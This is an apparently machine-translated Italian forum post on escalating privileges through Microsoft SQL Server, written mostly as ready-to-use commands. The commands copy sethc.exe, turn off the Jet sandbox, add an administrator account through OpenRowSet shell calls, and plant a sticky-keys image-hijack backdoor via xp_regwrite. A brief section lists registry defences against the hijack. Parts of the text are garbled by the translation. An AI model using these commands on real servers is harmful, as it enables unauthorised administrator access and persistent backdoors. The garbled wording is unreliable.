copia sethc.exe nella directory dllcache Dichiara @oo int exec sp_oacreate 'scrip remove ting.filesystemobject', @oo nostro exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\ sethc.exe'; Le altre due istruzioni utilizzano sp_oacreate stored procedure che devono utilizzare odsole70.dll file, quindi la sopravvivenza di questo file dipende dal successo della sua creazione. (2), xpsql.cpp: Errore 5 da CreateProcess (riga 737) Questa situazione è più complicata, e si dice su Internet EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines', 'SandBoxMode','REG_DWORD',0 Seleziona * da OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("utente di rete 123 123 /add")'); Seleziona * da OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); Ho controllato il sandbox per ricavare i diritti su questa questione, ma secondo la mia pratica, questo tasso di successo è molto basso, perché la maggior parte dei server ha eliminato c:\windows\system32\ias\ias.mdb. Poi puoi provare il dirottamento di immagini, ovviamente, anche il dirottamento di immagini è condizionato, 1 per esistere xp_regwrite questa stored procedure 2 è 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',' Debugger' non viene eliminato Puoi prima chiedere se la chiave fissata del registro sia stata dirottata Maestro esecutivo... xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger' Se il prompt non trova il problema, la dimostrazione viene cancellata, non c'è modo, se richiesto sethc.exe eseguire il comando sql Maestro esecutivo... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' Dopo aver collegato il terminale 5 volte e aver cambiato posto, va direttamente al desktop e poi lo aggiunge manualmente.
Il registro modifica la porta del terminale
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ Wds \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStation \ RDP-Tcp,
Per quanto riguarda la prevenzione del dirottamento di immagini, essa si ottiene principalmente attraverso i seguenti metodi:
★ Legge sulle Restrizioni dei Permessi
Se l'utente non ha più accesso alla chiave del registro, non può modificare queste cose. Apri l'Editor del registro e vai su HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options, seleziona questo elemento, clicca con il tasto destro - > permessi - > avanzato, e abbassa i permessi degli utenti amministratori e di sistema (qui devi solo annullare l'operazione di scrittura).
★ Metodo rapido di taglio con coltello con canapa sporca
Apri l'editor del registro e vai al bar
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opzioni di esecuzione file immagine
Il problema può essere risolto eliminando direttamente l'elemento Opzioni di esecuzione del file immagine.
Il comando SQL dirotta l'installazione della chiave fissa del registro xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger','REG_SZ'', 'C:\WINDOWS\system32\kdsn.exe'
Download del software:Turisti, se volete vedere il contenuto nascosto di questo post, vi prego Risposta
|